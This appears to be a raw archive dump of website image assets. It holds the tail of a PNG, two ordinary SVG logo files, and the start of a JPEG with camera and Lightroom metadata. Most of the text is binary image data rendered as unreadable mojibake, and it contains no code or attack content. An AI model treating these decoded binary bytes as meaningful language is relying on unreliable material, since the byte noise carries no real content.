I��z�i@l��mW�~'ҁu����7�sE3�}��k!i@�_ɋ� ��Ƃt9���n�����+{�%�M�����D��@��1RL �\�.E: ��@8�:7���#�Ė3��@L"W 6� <���Ѳ��[�-���¡�6��@�'[� ����پ�blș1�M@l]<�x+ z ®��,��1x��x) �'��"�B,�x �� ��2 �x �ہd�x v@0����@�e��b�L�k�1~�!�z�3� �@X��yA�'�5r3fܽ���$^�"{ �<�0t!FY��L~��h<���� za ��M�w���mC�lS��7�A�{�-�Đ�xDbxo vY�F*<;��o��@�9!�Q�&O �,�7��齁�~�!��u��#|,2���/&@���DA����7�]� V"�t@49�s&S z���P@�Q�`������ �! �bJD�;��v�@���{T J�^e�@���~@����/�xS ��譀�1�D11��2�{����37��ѳw"^���1�����@��\��q���D�ܙ+���f�"��T�wؿ�~�,��;���2+ �|���3=���&�b��l�`�;Sd v�)"[ L~Y!�a<:U�/�~�1u���Ԓ�}�0�=���)2��a�{��)2������wH ڸ@X�F�� �����������wH ���a=�V�'�4%ʍ�5s� ��H6��@X�n�!�K� �;;���*�Af�����V�C����L@��g{�� V�C� �%��<����<3��o��r"�>�JD� �~�kY�b���@�����)��2�@�u��@��r��s��O6÷��P vy�m|��� ������<��b��@��b� �C�Ȭ�,�"E���pI:��Q~(e^@��Q|(E^@��b��@����@��Rc>@��^�D�n��_ !�(?��Rc��G���Yj���C�Y��D쪒�S��_-��<yo DV�����U% �J�eF@ D���_��(?�2' v5yfD�F�vI��C�}F@�3y�D�F�z^Q��gV@���9�ǝG#� D��43 r� Al D��en@dR��XD�D&5!�-a����ȣ&��%0�"�YԄ�Ex�hO3"N?bd-�Q,�?�(c������� D�����p��>3����8j_��p��� DQ�\��s<��H �����8��ĩ."��?N����",�ģ����7|~�^�#t�Ν�qi��/���4 ���������G�1�Nu-��uHI�lA#�.�ߩK� � � � � � � � � � � � � � � � � �,���(����@@�� @@���@ �@ @@�� �wO��o� � � � � � � � � � � � � � � � � �R]��.�ϰO"����.�eb��Uq�T�������3Ru�>b�7L�X�y&�4���M�+D�}�)vU��u�}��O��ˎ�/���2�����ڧKV�����=}of�U�W�1L(�!�>n-7�(���R�h����u��vE���@Ey���GW?v���Q���U1�ŋ;���@����0�NX T�q0p�,�+�?�*�ݞ�K�%>Z F^r�T� �W�Eyt����B���#e�5KR l��~�ݴ$%��S����u�al1J}U��b�]��ӕ6��2���ؽH�#H�j���@��Ae �A_�@<>SՊ� �>t���J�3���N�ʧ��7��Bo�@� �;<ה��3�2I��{�r=�Wb���-�o3w�O^�>��H��/������/>�*�#g��T���}�=Z�A�1W���b�fQCZ�o��E�2�v��˳�a~�9�K ����L��\�S��7����*���0�Ab�2��?eah�-c�y��֝ʋ�e3�jSҬO��0��%BC�]�a��/���/�eoG���y�[��ݳ��@��Y۫�։����3�Ga~�<��Oi�OE~�V��+�P�g�f�< s�9iޭXQ�z^�#�H�~>6߱U��ú�<O��bƀ��(���I@G �^�܈��p���֎^4�⻲� T1��&������1V-N �j5���5� C�J;,��uy�ďqkK�rӦ�J���b(�-h@����ӳ��O��gmE�-w ~J�\}K9�,8�x��`�:0��ʳv�S��X�\/�O�A�j��`�F �ؼ2��D1s�[\����e~��5S ~�Z�1�,�ѮL+�t �u@5Uvv�'q�C�d�@<�U�{uL@<"eIO�Ͷ�Aj2��HSs ��p�%կi�fY�(��ѭ��� �.��@�:��DK�L�O���,I_��'Q��m3J��%B ^� XZQ�gR% q3��nލs췱Q=͊�n���1%�C,�M�*$gZ�Q� �j��S�H��-���p��T��)u�,z���r0P��>�����i7d 4�1��B������V"i��f�0�ZYXS���7M�R���D��cN@<q� ���#�~���M�^%�}ʀ@ڧCR�T�"{��!w���M��@�n`���g;� �*�[�r9)5����J�����)RQ�|�V��4_��s0�#��C�����!��~�A� <K#3B�v �S!\�e��h5�$����@,?���,+�J���sM��s~P��u]�R=7���2 f^U�Х�rϡ{e��UΝ��"�axN8��}���[�a�u�[�$�?0���Y=UKv��0��t�Z�ēL:S�j��i�:um���`�i�0Syq7_f�P9����#�gG�b�r?H��UW��b��Bs8�R��q�$z���ģ}�����$�!h@,6Ļ�vjT�J��Sf��h~J ��y���ݺ��=�'�܀�m��M�lǔ��P>�-I���B��o���C)���¾�#B �鸄\��UJ;��Ͽ (�ݪ]�A�(3B}\�e�|[ *�!)��z.C�BdDe:�C� �5 �f 4����U)v\.�?I7 d�@tJ n��N�<T+��@����r.u��[�J �5K �<�{��<,������Z:�����yP�1�ևR(�#��T�$Bh�8k���I���N�@hڌ�^�Aw$��1 E|���針���\��4���D@Ӂu�����o�;�?��T����g+bQ�]3��z��y�i�2=�ꬣ�/ꁣ�/�<R���ڊ����2�ӥ��r�oMF�:���D����nZ���,vik⣸�u~]���f�e}��Q��b�9W��?3Ê�S��o�JkLoDPM{,��E���C)�����S-��_h��*J �ǁr�/� 2�-b�y��ҭ��.}rz��Ap��']���u}���0������1�n�� a=�YmFg}�I ����i�~�@��.@�w� �Qϕ�En�/{I7�:.�)�PQoIM ��$��?�����H�N_�K�#��o���jIB�o8)�I ��N��U�->ίGHN�:]���\��{�OD��<**m�}Ê��Z�f�K�B �ِ��c��81s". u�,o�I�i�W�@,��{"���κn�i-��о��e���)R����,_Ө~�0�{�k����\��NU�E;�p}߭�yk�Q*V���muj��<��X8��l����;��Pek�|e3��+AAAAAAAAAAAA������6�kIEND�B`�img/brand-white.svg000064400000001420151676723140010256 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 54.3 54" style="enable-background:new 0 0 54.3 54;" xml:space="preserve"> <style type="text/css"> .st0{fill:#FFFFFF;} .st1{fill:#EF4153;} </style> <path class="st0" d="M20.1,13.8v5H13v20.9H7.7V18.8H0.6v-5H20.1z"/> <path class="st0" d="M46.2,39.7h-6.6l-7.4-11.1l-3.9,4.3v6.8H23V13.8h5.3v12.3l10.5-12.3h6.9l-9.8,10.7L46.2,39.7z"/> <path class="st1" d="M52.8,39c-0.7,0.6-1.5,1-2.5,1c-1,0-1.9-0.3-2.5-1c-0.7-0.6-1-1.5-1-2.5c0-1,0.3-1.8,1-2.5c0.7-0.7,1.5-1,2.5-1 c1,0,1.8,0.3,2.5,1c0.7,0.7,1,1.5,1,2.5C53.7,37.5,53.4,38.3,52.8,39z"/> </svg> img/logo.svg000064400000012101151676723140007010 0ustar00<?xml version="1.0" encoding="utf-8"?> <!-- Generator: Adobe Illustrator 21.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" x="0px" y="0px" viewBox="0 0 200 54" style="enable-background:new 0 0 200 54;" xml:space="preserve"> <style type="text/css"> .st0{fill:#231F20;} .st1{fill:url(#SVGID_1_);} .st2{opacity:0.5;} .st3{fill:#FFFFFF;} .st4{opacity:0.7;} </style> <g> <path class="st0" d="M73.6,42.6c-1.4,0-2.6-0.2-3.6-0.5c-1-0.3-1.7-0.7-2.3-1.3c-0.6-0.5-1-1.2-1.2-2c-0.2-0.8-0.3-1.7-0.3-2.8 V11.8L71,11v24.1c0,0.6,0,1.1,0.1,1.5c0.1,0.4,0.3,0.7,0.5,1c0.2,0.3,0.6,0.5,1,0.6c0.4,0.1,0.9,0.3,1.6,0.3L73.6,42.6z"/> <path class="st0" d="M85.2,20.7c1.6,0,3,0.2,4.1,0.6c1.1,0.4,2,1,2.6,1.7c0.7,0.7,1.1,1.6,1.4,2.6c0.3,1,0.4,2.2,0.4,3.4v12.7 c-0.8,0.2-1.9,0.4-3.4,0.6c-1.5,0.2-3.2,0.3-5.1,0.3c-1.3,0-2.4-0.1-3.5-0.4c-1-0.2-1.9-0.6-2.7-1.2c-0.7-0.5-1.3-1.2-1.7-2.1 c-0.4-0.9-0.6-1.9-0.6-3.2c0-1.2,0.2-2.2,0.7-3.1c0.5-0.8,1.1-1.5,1.9-2c0.8-0.5,1.7-0.9,2.8-1.1c1.1-0.2,2.2-0.3,3.3-0.3 c0.5,0,1.1,0,1.7,0.1c0.6,0.1,1.2,0.2,1.9,0.3V29c0-0.6-0.1-1.1-0.2-1.6c-0.1-0.5-0.4-1-0.7-1.3c-0.3-0.4-0.8-0.7-1.3-0.9 s-1.2-0.3-2.1-0.3c-1.1,0-2.2,0.1-3.1,0.2c-0.9,0.2-1.7,0.3-2.3,0.6l-0.6-3.9c0.6-0.2,1.5-0.4,2.7-0.6S83.8,20.7,85.2,20.7z M85.6,38.8c1.5,0,2.6-0.1,3.4-0.2v-5.4c-0.3-0.1-0.7-0.2-1.2-0.2c-0.5-0.1-1.1-0.1-1.7-0.1c-0.5,0-1.1,0-1.6,0.1 c-0.5,0.1-1,0.2-1.5,0.4c-0.4,0.2-0.8,0.5-1.1,0.9c-0.3,0.4-0.4,0.9-0.4,1.5c0,1.2,0.4,1.9,1.1,2.4S84.3,38.8,85.6,38.8z"/> <path class="st0" d="M104.5,42.2c-1.3-2.8-2.7-5.9-4.1-9.5c-1.4-3.6-2.7-7.4-3.9-11.5h5.2c0.3,1.2,0.6,2.4,1,3.8 c0.4,1.4,0.8,2.7,1.3,4.1c0.4,1.4,0.9,2.7,1.4,3.9c0.5,1.3,0.9,2.4,1.3,3.4c0.4-1,0.8-2.2,1.3-3.4c0.5-1.3,0.9-2.6,1.4-3.9 c0.4-1.4,0.9-2.7,1.3-4.1c0.4-1.4,0.8-2.6,1.1-3.8h5c-1.2,4.1-2.4,7.9-3.9,11.5c-1.4,3.6-2.8,6.7-4.1,9.5H104.5z"/> <path class="st0" d="M127.3,20.7c1.6,0,3,0.2,4.1,0.6c1.1,0.4,2,1,2.6,1.7s1.1,1.6,1.4,2.6c0.3,1,0.4,2.2,0.4,3.4v12.7 c-0.8,0.2-1.9,0.4-3.4,0.6c-1.5,0.2-3.2,0.3-5.1,0.3c-1.3,0-2.4-0.1-3.5-0.4c-1-0.2-1.9-0.6-2.7-1.2c-0.7-0.5-1.3-1.2-1.7-2.1 c-0.4-0.9-0.6-1.9-0.6-3.2c0-1.2,0.2-2.2,0.7-3.1c0.5-0.8,1.1-1.5,1.9-2c0.8-0.5,1.7-0.9,2.8-1.1c1.1-0.2,2.2-0.3,3.3-0.3 c0.5,0,1.1,0,1.7,0.1c0.6,0.1,1.2,0.2,1.9,0.3V29c0-0.6-0.1-1.1-0.2-1.6c-0.1-0.5-0.4-1-0.7-1.3c-0.3-0.4-0.8-0.7-1.3-0.9 s-1.2-0.3-2.1-0.3c-1.1,0-2.2,0.1-3.1,0.2c-0.9,0.2-1.7,0.3-2.3,0.6l-0.6-3.9c0.6-0.2,1.5-0.4,2.7-0.6S125.9,20.7,127.3,20.7z M127.7,38.8c1.5,0,2.6-0.1,3.4-0.2v-5.4c-0.3-0.1-0.7-0.2-1.2-0.2c-0.5-0.1-1.1-0.1-1.7-0.1c-0.5,0-1.1,0-1.6,0.1 c-0.5,0.1-1,0.2-1.5,0.4c-0.4,0.2-0.8,0.5-1.1,0.9c-0.3,0.4-0.4,0.9-0.4,1.5c0,1.2,0.4,1.9,1.1,2.4 C125.4,38.6,126.4,38.8,127.7,38.8z"/> <path class="st0" d="M149,42.6c-1.4,0-2.6-0.2-3.6-0.5c-1-0.3-1.7-0.7-2.3-1.3c-0.6-0.5-1-1.2-1.2-2c-0.2-0.8-0.3-1.7-0.3-2.8V11.8 l4.9-0.8v24.1c0,0.6,0,1.1,0.1,1.5c0.1,0.4,0.3,0.7,0.5,1c0.2,0.3,0.6,0.5,1,0.6c0.4,0.1,0.9,0.3,1.6,0.3L149,42.6z"/> <path class="st0" d="M159.1,15c0,0.9-0.3,1.6-0.9,2.2c-0.6,0.5-1.3,0.8-2.1,0.8c-0.8,0-1.5-0.3-2.1-0.8c-0.6-0.5-0.9-1.3-0.9-2.2 c0-0.9,0.3-1.7,0.9-2.2c0.6-0.5,1.3-0.8,2.1-0.8c0.8,0,1.5,0.3,2.1,0.8C158.8,13.4,159.1,14.1,159.1,15z M158.6,42.2h-4.9v-21h4.9 V42.2z"/> <path class="st0" d="M164.5,15.7l4.9-0.8v6.4h7.5v4.1h-7.5v8.6c0,1.7,0.3,2.9,0.8,3.6c0.5,0.7,1.4,1.1,2.7,1.1 c0.9,0,1.7-0.1,2.4-0.3c0.7-0.2,1.2-0.4,1.6-0.5l0.8,3.9c-0.6,0.2-1.3,0.5-2.2,0.7c-0.9,0.3-2,0.4-3.2,0.4c-1.5,0-2.8-0.2-3.8-0.6 c-1-0.4-1.8-1-2.4-1.7c-0.6-0.8-1-1.7-1.2-2.8c-0.2-1.1-0.4-2.3-0.4-3.7V15.7z"/> <path class="st0" d="M180,31.8c0-1.8,0.3-3.5,0.8-4.9c0.5-1.4,1.3-2.6,2.2-3.5c0.9-0.9,2-1.6,3.1-2.1c1.2-0.5,2.4-0.7,3.6-0.7 c2.9,0,5.2,0.9,6.8,2.7c1.6,1.8,2.4,4.5,2.4,8c0,0.3,0,0.6,0,0.9c0,0.3,0,0.6-0.1,0.9h-13.9c0.1,1.7,0.7,3,1.8,3.9 c1.1,0.9,2.6,1.4,4.6,1.4c1.2,0,2.3-0.1,3.2-0.3c1-0.2,1.7-0.4,2.3-0.7l0.6,4c-0.3,0.1-0.6,0.3-1.1,0.4c-0.5,0.1-1,0.3-1.6,0.4 c-0.6,0.1-1.3,0.2-1.9,0.3c-0.7,0.1-1.4,0.1-2.1,0.1c-1.8,0-3.5-0.3-4.8-0.8c-1.4-0.5-2.5-1.3-3.4-2.3c-0.9-1-1.5-2.1-2-3.5 C180.2,34.8,180,33.4,180,31.8z M194.1,29.6c0-0.7-0.1-1.3-0.3-1.9c-0.2-0.6-0.5-1.1-0.8-1.6c-0.4-0.4-0.8-0.8-1.3-1 c-0.5-0.3-1.1-0.4-1.9-0.4c-0.8,0-1.4,0.1-2,0.4c-0.6,0.3-1,0.6-1.4,1.1c-0.4,0.5-0.7,1-0.9,1.6c-0.2,0.6-0.4,1.2-0.4,1.8H194.1z" /> </g> <g> <g> <linearGradient id="SVGID_1_" gradientUnits="userSpaceOnUse" x1="-320.7039" y1="-248.0636" x2="-320.5604" y2="-248.0636" gradientTransform="matrix(360 0 0 -360 115455 -89276)"> <stop offset="0" style="stop-color:#EF5037"/> <stop offset="1" style="stop-color:#EC1A75"/> </linearGradient> <path class="st1" d="M38.2,52.7H16.7C8.3,52.7,1.6,46,1.6,37.7V16.2c0-8.3,6.7-15.1,15.1-15.1h36.6v36.6 C53.2,46,46.5,52.7,38.2,52.7z"/> </g> <g class="st2"> <path class="st3" d="M27.4,14h-8.6c-2.4,0-4.3,1.9-4.3,4.3v17.2c0,2.4,1.9,4.3,4.3,4.3h8.6V14"/> </g> <g class="st4"> <path class="st3" d="M40.3,26.9H14.5v8.6c0,2.4,1.9,4.3,4.3,4.3H36c2.4,0,4.3-1.9,4.3-4.3V26.9"/> </g> <g> <path class="st3" d="M36,39.8h-8.6V26.9h12.9v8.6C40.3,37.9,38.4,39.8,36,39.8z"/> </g> </g> </svg> img/cover.jpg000064400004523153151676723140007171 0ustar00���JFIFHH��@ExifMM*nt��(14�2ȇi�CanonCanon EOS 5DS R,,Adobe Photoshop Lightroom Classic 8.3.1 (Macintosh)2019:08:02 11:47:54"��z����"�'d�0�2d�0231������ ���� ʒ� � Ғ�00��00�0100�������ڢ������1 �2��4�5, 2019:08:02 06:06:202019:08:02 06:06:20k��5))���������332154000006TS-E24mm f/3.5L II0000004b61��?http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 5.4.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:aux="http://ns.adobe.com/exif/1.0/aux/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" aux:LensID="95" aux:LensInfo="24/1 24/1 0/0 0/0" aux:ImageNumber="0" aux:Lens="TS-E24mm f/3.5L II" aux:LensSerialNumber="0000004b61" aux:FlashCompensation="0/1" aux:Firmware="1.1.1" aux:SerialNumber="332154000006" xmp:CreateDate="2019-08-02T06:06:20" xmp:ModifyDate="2019-08-02T11:47:54" xmp:CreatorTool="Adobe Photoshop Lightroom Classic 8.3.1 (Macintosh)" photoshop:DateCreated="2019-08-02T06:06:20"/> </rdf:RDF> </x:xmpmeta> <?xpacket end="w"?>��xPhotoshop 3.08BIM?Z%G?060620>20190802720190802<0606208BIM%Rv��n{K�Q�Q3�����!�� ���}!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ���w!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�����������������������������������������������������������������������C ��C ����?�W�ӂW�a�Q��E�.;�8��A�sJ:zP�<t��u��iq@�8)qۭ��zz��4�{�4�P.��;�F �z�18�O�N�(@�Hϵ�(Q�R���^s�H����ځ� ����A\Lqҗi�]E��z(ɠ/��Aӊ]��1@y)��@�����=����{P �(#��P!p? \sAM3ҝ�ƀLLw�/=����ю���=x�} q�@�o�� 9�H�Q�c�q@��Jz��:zb�{P+�b�`=�)h(Q��ր�=��@n.�J �;PKA�z��o�q@$&:Ӷ��H6�Q���v ��^h(�cځ�@�&������a�1K���HV��c�0����ց�@��@9��E)��Zv1��)�c��ސ!�'�ҁ�)Fq�@�{R��s����2E���4�j��ۊP�����ƌt���v�4����{�.0�=1Ґ1vҁژ��9��3ސ� �iH�Rc�wqJ�"���\�4�sEw���@�Q���+K�(�Q�ځ�/CA�?��c�P4'oz0(8��OJ������a��9�҂B����1ց:b��: b��)=�����q�A"�c�29��b�!1ۥ;�L�c�.&j0E����mǵ.(����ژ �?��c�6�@.)�P�m�Q@�.0i0>�P;RA!�Z\~ƅ�9���HR�\Q�C�1�OQv�q��c"���La�t��h�h��`⎴; \v�0�9�)1X1�R��4c"�������F*�&1ȥ�1�u���$;�1HB�&)�%�&;R���% �Gz_ZLh1��S�c��D�A@P1J����T�FQHw)1@�����1� �q1@�&�G�J���G#�@(��&?:@/^�����L`у@_A0z�\`zP ғ�ҋ����~���)/�& �� ��q�� ^�f�`�c=j@B9�(�c ����x���P)q�!�nJ\R���J;���&h� \��.1қ�jCb�r���Ӹ0���@�G� ���/Z)���.8� �c�8�� 3��@�h�~��8������~ w�ZG( 8��cq�4���@�(�'N�PH�b�v���c&�3@���⁋����Hc�8�c��v(p1�/'��4P1B性9�����;�҂8�B�����N.zq�=*+�OO��˭kW��V1��9���I�� R`~r���z���Os�=@��wox���Ǿ9c݉�����n��ٳ�_����HG�=�Ҿ{��t�T���uRq�m�k�^�ŚǙ8-gn��c�d��ϩ��_a�V�m�M3-���v<*��O�+岪|��iu>�0��*Q�#�?���mw�Y���?�z�����[K�g�oc����/s_5VR��4�N� ���w�Wgњ&��p�Z�����Mw��#A� ~�B�i�B+c�Jե)9��%c �H98=�+_>�(J�1#�FE6�<������?u�]��Y��@}���|���������_��q�m�1�[U;3_e`�~qv�� ����B����֬�"A���O>\�jH��aL�Rm4�Vv�L�J�e��P��q��;��A+�{P��ӷ�Z ܉�0_�Y׳�k�N�c@K�Y����E�e���.�|]~XS�E��V4�q+��t�5��13���~���h�GO�ʻ� �I� ?���v��E�Э�p�濣Åc(��b�j\d�� ӏ� �Ӏ���zR`c���ZwS@�t�_J1۽;���41@�P+�zb��@�#4b�/�)㯥&1�iq��@��0�i�ڀ@G>��`�0�� \Pcڔ��i�R���(�t�JLt�}(0)�q���@A�FLPK9��@�qF�S���$JL����ӱ�Ҁ�/oz����t���(p)y��v��@�c�;��@�. ����#�z�j_c�@Gj1�P��� R㟥@pM&1@��;���q����1���ސ�S��1�v8�rh(�#����(��<�R��@�s�4��q@�N3A�H�4�4��杁�Q@���@�� �MCiy�R��R`b���`zQp�h�� LHc��:9�!�Ҁ*�⏯SHB�Ҟ)c�\q@�F?*\qG�1�/N�?�.8Ƞa�q�K��b��y4`(��1�@�(��P!�Rc<�┌�@V�����v�:��N4� �PG�@Ѐf� zR�ց� R�~4&=.;PKqK��� ���F�(A�^�cӥ/=G9� }iq�ց �\`�&�\zR)��=i�R3�&�HB� .1� ��� 1�G��Hv(�)&? 8���hqMP�\PG���c��&�6���A�R�@(�+�1֔�ހ߽&i���� �\f�@b��x����\S�9��pJ1���0(�aHb�HGz@�N��S�M���F84�4�)q�Ha�{Q��zQ�h@���H�O�����~���� ��)Rcބ����i�H�`u�c�\ w�Rǵ&B�Ҍ ��(�>�P��@�h1�F(�����C�^���'�.ZE �Ǝ���!�(�)�����}��~����i����@ ��9��S�f��x�c�R@��A�E&8�`g�\u4\c���Q��hq߭&(��Ґ�P��K�ӥ��R;�t�h)b����P>��1��;�`P9�P!8�S���4&(��b�b�zP�{�GZ6�h�]Eǭ⁊)p;�b�ҀB��(�\c�Zp�r��c�i!�SN�<R})q�~8����F:у�&?!K����i�ڂ��<S�ɠ���c�:�?|E�.�.� 6Lݺ�&�_����}sՕ�oMks�+��L��57��m���tܞ��5�WX����q�t��#�<��D>�rO���guP��9=4��K�����1i�"q��.���'��~4x�I)�v�&R ��r"�z����Ia����/z��g����`�2OW�x?��Y�'�3����k����G�W�Ό���Y?���Z�1�e�ϯaZ[Xdc5�j�~_+�!��w�4A=���Uu�s�F*�d��fU��A�ߺ������6��*��+������!����G�i�E��<�� p9����V�nĻ@q����V'��pAi01�JHRz P1�C�R�`�}*�l1r<{����ԕm|��3L����6�Ԅ�lf�@��fZ܅�G8�O�~#mJ��O�x��GGa��;W�����C�2�>ֿ3�:����y��a�����4�#Q��������:����R5�Dj8�J�{%���s�ыh g4(F���`s@y��@�0��bu�~@�����ip��`G�N ���&��h��揭 ��@�G�.9�Z\ 1��P'�q@ 9���!p���@�AQ�s@Pz�A���ހ�I��!b�u�S�G4��#�({R��B�4c4���8�9�B�<f� &1�)�P4m�($P3�h�j ��>�L��u��:�r)GP���s@� ��ҝ�=(Bb��� g�ғh�@ -w��@��J\Ɓ9ȥ�@;ҞE94����f�v4�^3�H@$zP1����捸�@��4�G_Z �=E�q�4w恱��$�8�@"c�)��XQ��(���i�HL(���=)q����!�G���LP3K�ҁ�v4��ڀB)�⢀)0M.&������� �����H����p:��(`w�-�^Կ�.}iq�h�K�~�(�|�!~�x��v )q�P0�\u��0iv��(�ߵ�j��a�Z0(�zюh��=)q@� d��ւ�c�;҅����GZ-�lv;�E(��K�� ���t��)s@��cF(=��Qq�^���i\qqLA�Q���t4�ƀ �})1ڥ0���{QڀzQ�@"��Z!�ȥ�4��(� sK�E� �F9�1J(d�1A��: ��)G���S����4����R9�(���:R� B��4�N���4� 0��t�P};��L�����6����I�LW�=�hLR�4u4`�BP*O�G�(�=��֓� �(��0) ���@�qH�0��H�b�\{�u��0;��` ���i��J��1I�0�ь�bzҀ:C�\~4����҂zL�E�4c���@�Ͻ&9�ր�(�JN�P �4�� \u����z��1H��@��4��l1G= A�ފ �v�G�A��b�o�֛�Z]�b�(��8���@���v��֗�x4��ҀB���@zv(%�� ���4)��� ������K��6.8Ƞ�y�dPP����K�C��.���y4�s@u�c<w��.2i� W�>��8�1�R�=(/4PWA�v��-.=W'�@K���'��� ��Օ��a���G���sھ ����2I?\��s^}gyX즭�|��ǣ[��ҥΝ���YON8?UN@�ɮ�����,����wv�� �8�?�u>�W�E�g0��D�[}_��_��|G�~�̖�?����?������?�|C,�M#K+w%���$�I��&s[��i.�^YJ�u;���O}�a�ݯ��?��o_½�O�W>s��������mk-����Wq���΅q�=��J21�~�� ))�k ���H���_�Vr?�� �9�֫��1R�1������<At?�:�<=��z����_S���4��o���Z$r9�Z�|'��u�c�|ܚF�=q�X�ԅ��8�i�AǨ��v�}iYT��6m�<sM 1��� �c5,�=ȏ���YƳ+��6� ���6o��bB?�z}OJ�=>��c�y&�S���5�3�L����9張�#����{�cij��c����\<-��ʭ�ܲ�1�u�b*�<���g4��}+�0�<^:\v�@JS��(_���l�9�=�J%�4�c4�&�}iv��@ ��.~E���`���h#��.3�JLs�F{A;=A�y�AB�䌊��(^y�B���v����w�}(�{Pqځ�)L���.�ߕ3�8��$&�v ����ޜFx��&�)q�.:Q�(���t�`�����h��@�`瞴����}�@�P>��1��@:�<���;qK� g֎(�j�(�c���@=(�:P0f��x�N(@�=((\~���Ls�K�9��y�K��ځ��:�P(q����1H��h�Ja�_�Q�42"1�ӂz�I&)E :Q�ց��w4����KH./�j6�L�v����t��.=h�����n1q�Җ��<��߭&�`qCpz�P7u���;�\dя^h� 9�R���P1���iq@�u����P�H:P��:q@�4)q�(�qK�.)(�.=��4�f���b�ց���A�:Ru�wqJ1��8�j�M���qޑB`�K��L:�G�RP�v1֓Q��P�0)��g4��!��%1_@�N�:R`���/�HhLR��LA�OJ(�4���3K�p�8��(�K�LHh��hؠ�;��<Q���:���\{P&�S@���B��JOjH�qތqO������@)qۥ&(��^:�?�:b�.3F(�Ҕt���.���h���V 1����H8�a�Ɩ�����i�PXߥ��@�w�� #�8��Q���&'j=��)i���������9�4b���O�-1)E �K�ZO� ��<�㰦0������1�h��@b����A�Fj�P0���BR������@ï4�Jp���E�)1�PU����ڂCR�4J1��_j1@0�Q�P!�4z�\y���@})zPP`��ރ���z\PH���Ҁ:�B��8�4 ��sF}qH,P9�0ړ�\P3�1���)1�1ށ���QI��)p*F8�Nu�@��)}�P6.8��<S��@�P0#���恋�j����~�o<C����ئ��V?��x��?8|Q�MO��#��&����H�݊%�#_e���^/�g����V�&�_RB��0�����u��ʌ�=�iV0�|��O�c�F�3af��zI'P�A��ח���6��0�����z��Z�ܮ�%V]u��a7:��|#��x�\��o~_0�<�K�T_ST�=�M�_���"^doE�_+,V%/�g�9G �r{E_���q�»#��u�D��\}; ���Tcd~7�w�����1�'q]6<�|LC�oJA��@��O<TM�)3����(_��nϬ����>͟��ᨯ�ھ���~���/�c���֗C�c��l| ]�;u4��9�TĶ!rri��=*��{11���pF_ZL���sM�٤M���X`�Lo�9䊓X=�����O�a�,~L5���==ȮMeJ��>������ƚ�x\i=��Y y$9�&�[5�� 园|~]M�Ֆ�t�b���4�bY���Z���<��*q协��>i�Q=�K�J�����M��.����a�x}x4�88�穧P��\`Pm�:Ҩ�c�j@=(N}sK��@ �=(v��q�~T�q���~_ZL{��Ը� c��z��{PP�Pry��.9��3�.�䏭�ւ 8��(#&��{�A��zp�Pv�.4���F?J��z�4��\u��Xc�w�h1�h�@���@()1�.;��4�t�֗�PP���A#�9� �q�`Nؠ ^�(�)��4 q�^h���� ��i�� ���B�=��P0�)q��h{ L~T ��Ҁ)ph�w�ǭ:qK�(,ZN�v8����:Ӏ����v�>�(�zv�]`��ڐ��֘�sތb��@\q�;PPc4�ԅaأԆ.;ю�^�c\B�F3C�1G"� �w�p(rp)z�(�d�H�@ 9緭�@ק���gړ����(#4Pq�t���ڀ掴��i0qҀ�J1�P�Z\@���& )q@�� �G=���i0�c��֛�@�)Ǟ��4��(�q�R=)Rb��8EJH0);PK -0B�"��_j==� ���{�L}�zO�"E�zh-�? `�K�L�����S���t��PX���Ҁ`�u=(�tu��#�����r)t,\��Ҙ9���j@QҏJ@8��SLW9��c҂��x�~�7�`�j�,_�F=i�>���(�P ǭ/lb���(������@` d��K��EzR�@�c�1ϭ�1Kڀ�)�B9"�a֓��^�c�� B�c4^q�1�'Z:P �\s@Иc�Op�ڛe0�ъBQ�@�`Q��E) ���h�]9c���&=(}�4cQ�0>�c�Z�q@��P�i悺.8�B�b��=h��Q���sFJZB&�bv�8��:��1F(&)q�w���=qK�9�`F8�@����@��~4c�cLsK�0sGz]�R⁍�1@��:����������L�@��J\q@!q�i1�P�r/�@ �x�jq��h�zQ��9��;��w��c�0�c�@����1q��.;t��wlR�x�`�g4�QK�:�1�zQ�J^)pI�րc�AA�Eb�P9��TB�(&������txkG�v���Au?-����S��}+���Hj���?�5ν���-�!z��_rNk�}w�_�IN����1�z*�|sQ�P�G���U5λ�}��Y�J�K��jD�V'�>��~2��kډ��.�6��S�ӎ �U�?U��Pªq렰P���w�S�m��t��K�! �w&���LJ�ѬR� �?�!������VU�M�bhƏ}_���zm���Q�=j���DU�?6����3֕�۷��jp�}HH�%��=z�"����L m,橹��<Cw�]��O��-O8�����U�?_��"�~��1�[���<����:�9��\ ���l��!m���e!�=*��(�#o�֢���l����1M�~�JF��"��桑��eEY���m��Iytx_������ֵ|��%�������j�8��V}�EEZX�莗M� �A��һ]2ǁq/��w�ir�D�Z�p|ƥՏ�4?�}�(�ߨ���R��?��OZ\�ֿ���<�K��<P�=�q@����ڀp����h��(�z�߽/Ҁs���cJ03��h�hzc�S�� ��J?���}h�R��@ �9��1@���GN(.x��恀�)XqրqHg�;�&)E��E/J=zQ�A�h�q@�(� R�(�Ɲ�8��9�uG(*�u8��J��zR�_jLc�րc${P��0G=��u�)p;P����(�jp������h�Ҍ \N��3@ �\w�cE;�8�ځ��x�'�@��c&�И��N�@J1ӽ-�(��=��uR�;��0 +��8�q�"��b��1�P=)���;� zQ���.�3GB���T�\� ^)8�w�@���M;���p(�⎴�M&h�x�P�1�s@�cҗ�1N�z8�A�P�j^��;�q�hF:R�(1�Kב@ ڗ�(�q�GZ`v�B��K��� \ ^��iN��4�Gҁ��Q��A"�0qH��z��sA�&(�0�=��LL^��@�!�q��i\}�ۚd�ۚ)1ڍ�sL��I��@��-1ʤa���j��qL�%/����'z#�/�p1�1���@XB9�K@��`����� 